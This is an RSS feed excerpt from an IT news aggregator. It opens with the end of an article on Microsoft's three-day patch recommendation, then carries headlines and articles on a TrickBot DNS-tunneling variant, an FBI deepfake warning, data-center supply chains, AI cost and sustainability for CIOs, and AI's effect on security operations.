<p class="wp-block-paragraph">“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”</p>



<p class="wp-block-paragraph">Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”</p>



<p class="wp-block-paragraph">CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.</p>



<p class="wp-block-paragraph">“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”</p>



<p class="wp-block-paragraph">Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.</p>



<p class="wp-block-paragraph">“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”<br><br>Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”</p>



<h2 class="wp-block-heading">Wider cross-industry impact</h2>



<p class="wp-block-paragraph">Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.</p>



<p class="wp-block-paragraph">“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.</p>



<p class="wp-block-paragraph">AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.</p>



<p class="wp-block-paragraph">However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.</p>



<p class="wp-block-paragraph">Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.</p>



<p class="wp-block-paragraph">“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”</p>



<h2 class="wp-block-heading">Holistic remediation</h2>



<p class="wp-block-paragraph">Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">Verizon’s Data Breach Investigation Report</a>, published earlier this year, found that the median time to patch had actually increased to 43 days.</p>



<p class="wp-block-paragraph">Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.</p>



<p class="wp-block-paragraph">Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.</p>



<p class="wp-block-paragraph">“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”</p>



<p class="wp-block-paragraph">CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.</p>



<p class="wp-block-paragraph">Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.</p>



<p class="wp-block-paragraph">Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.</p>



<p class="wp-block-paragraph">Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New TrickBot Malware Variant Uses DNS Tunneling for Command-and-Control]]></title>
<description><![CDATA[A new TrickBot malware variant that significantly evolves its command-and-control (C2) communication by leveraging DNS tunneling, replacing the traditional HTTP-based mechanisms observed in earlier campaigns. The discovery highlights a continued shift among financially motivated threat actors tow...]]></description>
<link>https://tsecurity.de/de/3688230/it-security-nachrichten/new-trickbot-malware-variant-uses-dns-tunneling-for-command-and-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688230/it-security-nachrichten/new-trickbot-malware-variant-uses-dns-tunneling-for-command-and-control/</guid>
<pubDate>Thu, 23 Jul 2026 09:10:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new TrickBot malware variant that significantly evolves its command-and-control (C2) communication by leveraging DNS tunneling, replacing the traditional HTTP-based mechanisms observed in earlier campaigns. The discovery highlights a continued shift among financially motivated threat actors toward stealthier communication channels…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-trickbot-malware-variant-uses-dns-tunneling-for-command-and-control/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-trickbot-malware-variant-uses-dns-tunneling-for-command-and-control/">New TrickBot Malware Variant Uses DNS Tunneling for Command-and-Control</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Product Showcase: AppViewX Agent Identity Security]]></title>
<description><![CDATA[AI is multiplying enterprise identities as quantum computing reshapes the cryptographic trust that secures them, and enterprises need to solve both together. Traditional identity security was built for people with predictable, auditable access, not autonomous, short-lived agents that share creden...]]></description>
<link>https://tsecurity.de/de/3688183/it-security-nachrichten/product-showcase-appviewx-agent-identity-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688183/it-security-nachrichten/product-showcase-appviewx-agent-identity-security/</guid>
<pubDate>Thu, 23 Jul 2026 08:55:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AI is multiplying enterprise identities as quantum computing reshapes the cryptographic trust that secures them, and enterprises need to solve both together. Traditional identity security was built for people with predictable, auditable access, not autonomous, short-lived agents that share credentials…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/product-showcase-appviewx-agent-identity-security/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/product-showcase-appviewx-agent-identity-security/">Product Showcase: AppViewX Agent Identity Security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Product Showcase: AppViewX Agent Identity Security]]></title>
<description><![CDATA[AI is multiplying enterprise identities as quantum computing reshapes the cryptographic trust that secures them, and enterprises need to solve both together. Traditional identity security was built for people with predictable, auditable access, not autonomous, short-lived agents that share creden...]]></description>
<link>https://tsecurity.de/de/3688135/it-security-nachrichten/product-showcase-appviewx-agent-identity-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688135/it-security-nachrichten/product-showcase-appviewx-agent-identity-security/</guid>
<pubDate>Thu, 23 Jul 2026 08:12:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AI is multiplying enterprise identities as quantum computing reshapes the cryptographic trust that secures them, and enterprises need to solve both together. Traditional identity security was built for people with predictable, auditable access, not autonomous, short-lived agents that share credentials and break those patterns. Gartner predicts that by 2028, the average global Fortune 500 enterprise will have over 150,000 AI agents in use. Traditional IAM wasn’t built for this reality. AppViewX’s Agent Identity Security closes … <a href="https://www.helpnetsecurity.com/2026/07/23/product-showcase-appviewx-agent-identity-security/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/product-showcase-appviewx-agent-identity-security/">Product Showcase: AppViewX Agent Identity Security</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung’s wider Z Fold 8 feels just right]]></title>
<description><![CDATA[A year after overhauling its Z Fold phone with a radically thinner design, Samsung has changed things up again, this time altering the shape entirely. The Z Fold 8 is wider than any of Samsung's previous foldables, and shorter too, a size and shape somewhere between Samsung's traditional Flip and...]]></description>
<link>https://tsecurity.de/de/3686399/it-nachrichten/samsungs-wider-z-fold-8-feels-just-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686399/it-nachrichten/samsungs-wider-z-fold-8-feels-just-right/</guid>
<pubDate>Wed, 22 Jul 2026 15:06:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A year after overhauling its Z Fold phone with a radically thinner design, Samsung has changed things up again, this time altering the shape entirely. The Z Fold 8 is wider than any of Samsung's previous foldables, and shorter too, a size and shape somewhere between Samsung's traditional Flip and Fold models. In photos, I […]]]></content:encoded>
</item>
<item>
<title><![CDATA[I tried Samsung's new wide Galaxy Z Fold 8, and it's my favorite product of Unpacked 2026]]></title>
<description><![CDATA[The new wide-fold form factor is better than traditional book-style foldables.]]></description>
<link>https://tsecurity.de/de/3686367/it-nachrichten/i-tried-samsungs-new-wide-galaxy-z-fold-8-and-its-my-favorite-product-of-unpacked-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686367/it-nachrichten/i-tried-samsungs-new-wide-galaxy-z-fold-8-and-its-my-favorite-product-of-unpacked-2026/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The new wide-fold form factor is better than traditional book-style foldables.]]></content:encoded>
</item>
<item>
<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[FBI Warns Scammers Use AI Deepfakes and Fake IC3 Sites to Re-Victimize Fraud Victims]]></title>
<description><![CDATA[The FBI has issued a new Public Service Announcement warning that cybercriminals are increasingly using AI-generated deepfakes and spoofed Internet Crime Complaint Center (IC3) websites to target victims who have already lost money to scams. This advisory, released on July 20, 2026, highlights ho...]]></description>
<link>https://tsecurity.de/de/3685908/it-security-nachrichten/fbi-warns-scammers-use-ai-deepfakes-and-fake-ic3-sites-to-re-victimize-fraud-victims/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685908/it-security-nachrichten/fbi-warns-scammers-use-ai-deepfakes-and-fake-ic3-sites-to-re-victimize-fraud-victims/</guid>
<pubDate>Wed, 22 Jul 2026 12:13:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The FBI has issued a new Public Service Announcement warning that cybercriminals are increasingly using AI-generated deepfakes and spoofed Internet Crime Complaint Center (IC3) websites to target victims who have already lost money to scams. This advisory, released on July 20, 2026, highlights how threat actors are evolving traditional fraud schemes by combining social engineering, […]</p>
<p>The post <a href="https://cybersecuritynews.com/fbi-warns-ai-deepfakes-using-fake-ic3-sites/">FBI Warns Scammers Use AI Deepfakes and Fake IC3 Sites to Re-Victimize Fraud Victims</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[4 recs for CIOs to optimize AI budgets and improve sustainability]]></title>
<description><![CDATA[In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environ...]]></description>
<link>https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685758/it-security-nachrichten/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environmental liability. Left unchecked, poor code cascades into soaring token costs and spikes data center power consumption, directly undermining both cloud budgets and corporate sustainability goals.</p>



<h2 class="wp-block-heading">AI’s impact on sustainability</h2>



<p class="wp-block-paragraph">By 2029, IDC projects that the number of actively deployed AI agents will exceed 1 billion worldwide, which is 40 times more than in 2025. And these agents will perform 217 billion actions per day.</p>



<p class="wp-block-paragraph">To deliver on this demand, AI data centers are being built out at an unprecedented rate, with Gartner forecasting that <a href="https://www.gartner.com/en/newsroom/press-releases/2026-02-03-gartner-forecasts-worldwide-it-spending-to-grow-10-point-8-percent-in-2026-totaling-6-point-15-trillion-dollars">global spending on data centers</a> over the next three years will increase 31.7% to surpass $650 billion, driven primarily by hyperscaler cloud providers building out AI foundations, and optimizing servers for heavy AI workloads.</p>



<p class="wp-block-paragraph">All this presents a significant strain on the energy grid as well as environmental sustainability, including:</p>



<ul class="wp-block-list">
<li><strong>The power double-down:</strong> The <a href="https://energy.ec.europa.eu/news/focus-data-centres-energy-hungry-challenge-2025-11-17_en">International Energy Agency</a> (IEA) projects that global data center electricity consumption will more than double from about 415 to 945 TWh by 2030, primarily fueled by energy-intensive accelerated computing for AI.</li>



<li><strong>The inference premium:</strong> AI workloads are vastly more demanding than standard web activities. A gen AI query consumes roughly <a href="https://www.brookings.edu/articles/global-energy-demands-within-the-ai-regulatory-landscape/">10 times the electricity</a> of a conventional keyword search, or roughly 2.9 watt-hours as opposed to 0.3 watt-hours.</li>



<li><strong>Water consumption:</strong> Cooling these dense clusters is highly resource intensive. Global AI-related water demand is expected to reach <a href="https://aimultiple.com/ai-energy-consumption">4.2 to 6.6 billion cubic meters by 2027</a>.</li>
</ul>



<p class="wp-block-paragraph">The good news, however, is it’s not all out of the control of end user organizations and CIOs. Just as in the client-server era, through careful planning and execution, CIOs have the potential to significantly improve the performance, costs, and sustainability impacts of their AI application portfolio.</p>



<p class="wp-block-paragraph">Here are four recommendations to maximize value as you look across your AI applications and infrastructure estate.</p>



<h2 class="wp-block-heading">Revisit business objectives in light of AI</h2>



<p class="wp-block-paragraph">AI applications and platforms bring several new headaches for CIOs and CFOs in terms of FinOps. The variable nature of <a href="https://www.cio.com/article/4169954/servicenows-ai-control-tower-offers-hazy-view-of-spend.html">AI vendor billing due to variable monthly token costs</a> is just one well-known example. To avoid unpleasant surprises, be sure to carefully review vendor contracts to decipher pricing models. Look for what’s included in seat-based license fees and what’s added as variable charges for agentic AI usage.</p>



<p class="wp-block-paragraph">In addition, explore new metrics and KPIs such as intelligence per watt to help make sense of your return on AI. Just as miles per gallon helps us evaluate new car purchases, IPW can help to measure the computational efficiency of a system. It quantifies how much intelligence — typically measured in AI inferences, tokens processed, or model training iterations — a processor can deliver for every watt of electrical power it consumes.</p>



<p class="wp-block-paragraph">According to Max Romanenko, chief engineering officer at relational database platform EDB, cost per query tells you almost nothing in an agentic world where autonomous systems are spinning up databases, pipelines, and queries around the clock. “The metric that matters is intelligence per watt, how much useful AI you get for every unit of energy you spend,” he says. “It isn’t just an environmental number, it’s also a performance indicator.”</p>



<p class="wp-block-paragraph">With the measurements in place, you can then start to manage and optimize each layer in the AI stack from the infrastructure, or hyperscaler, layer to your own data and application layers.</p>



<p class="wp-block-paragraph">It’s important to bear in mind that high token usage isn’t necessarily a bad thing. It depends on the net value delivered by each AI application and use case. Managing and optimizing the AI stack is important, but you’ll also want to measure the business value being delivered by each of these applications so you can measure your return.</p>



<h2 class="wp-block-heading">Take a sovereign AI approach when evaluating hyperscalers</h2>



<p class="wp-block-paragraph">As you work with hyperscalers like Amazon, Google and Microsoft, it’s important to understand how they charge and how much, but also their environmental footprints. For example, by reading their sustainability reports, you can find out their annual water consumption across their global data centers and compare them with other providers.</p>



<p class="wp-block-paragraph">In 2025, Amazon’s global data center operations used <a href="https://www.aboutamazon.com/news/sustainability/amazon-data-center-water-usage">0.12 liters of water per kilowatt-hour</a>, which amounts to 2.5 billion gallons, or 5% of the annual water consumed by the metro Seattle area. The company has been able to operate more than seven times better than the industry average and have improved their water efficiency by 52% since 2021.</p>



<p class="wp-block-paragraph">As demand for cloud computing and AI grows, water efficiency is another important metric for CIOs to monitor within hyperscaler ESG reports. While not at the same level of regulation as scope 2 and 3 greenhouse gas (GHG) emissions reporting, enterprises need to pay increasing attention to water use efficiency (WUE) with water scarcity becoming a growing risk for hyperscalers.</p>



<p class="wp-block-paragraph">The key requisite at the infrastructure layer, though, is to ensure sovereign AI. This doesn’t mean you need to own everything, but you need control over your AI-driven operations when conditions change. With <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-sovereignty">71% of global executives stating that switching their primary AI vendor or model would be difficult if required today</a>, it’s important to understand AI dependencies and be able to avoid vendor lock-in. </p>



<h2 class="wp-block-heading">Control efficiency at the data layer</h2>



<p class="wp-block-paragraph">The AI energy conversation has fixated on models and GPUs, but every agent, model, and inference call runs on the data layer beneath them, and that’s the one place a CIO can actually move the numbers.</p>



<p class="wp-block-paragraph">“You can’t control consumption at the model layer,” says Romanenko. “Agents consume what they consume. But you can control efficiency at the data layer, and for most enterprises that’s the only real lever they have. Optimize search, retrieval, and vector indexing where the work actually happens and you cut compute, cost, and carbon at the same time. Ignore it, and it’s like running the heat with every window open.”</p>



<p class="wp-block-paragraph">Ann Dunkin, distinguished professor of the practice at Georgia Tech, adds that CIOs who bring models in house and run them in their own infrastructure, or in the cloud infrastructure of their choosing, can have more control over the sustainability of inference, as well as of their costs and how their data is used.</p>



<h2 class="wp-block-heading">Fine tune the application layer</h2>



<p class="wp-block-paragraph">When balancing a mix of commercial AI packages and custom-built code, costs can quickly spiral due to inefficient design and orchestration, redundant APIs, and unoptimized model routing.</p>



<p class="wp-block-paragraph">With inference calls costing approximately 10 times that of conventional web queries, for custom AI applications, it’s important to design them to only use probabilistic code where necessary. Since many custom applications utilize a combination of both <a href="https://www.cio.com/article/4133150/4-tips-to-help-the-new-innovators-struggle-with-ai-and-traditional-code.html">probabilistic and deterministic code</a>, this is exactly where software developers need to make smart choices in their designs.</p>



<p class="wp-block-paragraph">Other techniques to fine tune the application layer include semantic caching, intelligent model routing, and internal AI capability registries. “CIOs can implement intelligent routing solutions to select the most cost-efficient model for every prompt,” says Dunkin. “The most flexible routing solutions can drop into a user’s existing environment and orchestrate the actions of the company’s existing models.”</p>



<p class="wp-block-paragraph">For CIOs looking to maximize the business value of every AI application in their portfolio, these new considerations, including new metrics, tools and approaches from the infrastructure layer all the way up to the application layer, should be an essential part of the equation.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI, security operations and the new race against time]]></title>
<description><![CDATA[When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.



Security leaders debated what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined tech...]]></description>
<link>https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685757/it-security-nachrichten/ai-security-operations-and-the-new-race-against-time/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When Anthropic unveiled Project Glasswing and the Mythos model, much of the discussion focused on the capabilities themselves.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html?utm=hybrid_search">Security leaders debated</a> what these systems could mean for vulnerability discovery, exploit development and the pace of offensive innovation. Researchers examined technical benchmarks. Industry observers questioned how quickly these capabilities might fall into attackers’ hands.</p>



<p class="wp-block-paragraph">Those conversations are important. They also point to a larger question that predominates my discussions with CISOs: How much time do we have?</p>



<p class="wp-block-paragraph">Over the past year, conversations about AI in cybersecurity have changed noticeably. Twelve months ago, security leaders wanted to understand whether AI could meaningfully improve security operations. They wanted to know whether it could accurately investigate alerts, reduce analyst workload and operate reliably in production environments.</p>



<p class="wp-block-paragraph">Today, security leaders are asking about timelines, implementation, how quickly AI is changing the threat landscape and what that means for <a href="https://www.csoonline.com/article/4158008/the-ai-inflection-point-what-security-leaders-must-do-now.html">how security teams operate</a>.</p>



<p class="wp-block-paragraph">Anthropic’s Mythos and Glasswing, OpenAI’s Daybreak and advances in DeepSeek accelerate those conversations. Each development provides another glimpse into the pace at which AI capabilities are advancing.</p>



<p class="wp-block-paragraph">AI now reasons through security problems that historically required highly specialized expertise. The implications span vulnerability discovery, attack-path analysis, reconnaissance, social engineering and security operations.</p>



<p class="wp-block-paragraph">The shift reflects a broader reality: cybersecurity is entering a period where the pace of adaptation may matter as much as the quality of defenses themselves. AI is accelerating both offense and defense simultaneously. Organizations are quickly redesigning security operations around that reality.</p>



<p class="wp-block-paragraph">One consequence is becoming increasingly visible. For years, cybersecurity teams invested enormous effort in discovering threats, identifying vulnerabilities, gathering telemetry and collecting intelligence. AI is accelerating many of those activities simultaneously. Visibility is improving. Discovery is accelerating. Investigations are becoming faster and more comprehensive.</p>



<p class="wp-block-paragraph">The bottleneck is beginning to move. The challenge increasingly centers on how quickly organizations can act on what they know. The organizations that gain an advantage may not be the ones with the most information. They will be the ones who can operationalize that information the fastest.</p>



<h2 class="wp-block-heading">The timeline is compressing</h2>



<p class="wp-block-paragraph">Cybersecurity has experienced many major technology transitions. Cloud computing changed infrastructure. Mobile devices expanded the attack surface. Digital transformation connected systems that were previously isolated.</p>



<p class="wp-block-paragraph">AI introduces a different dynamic.</p>



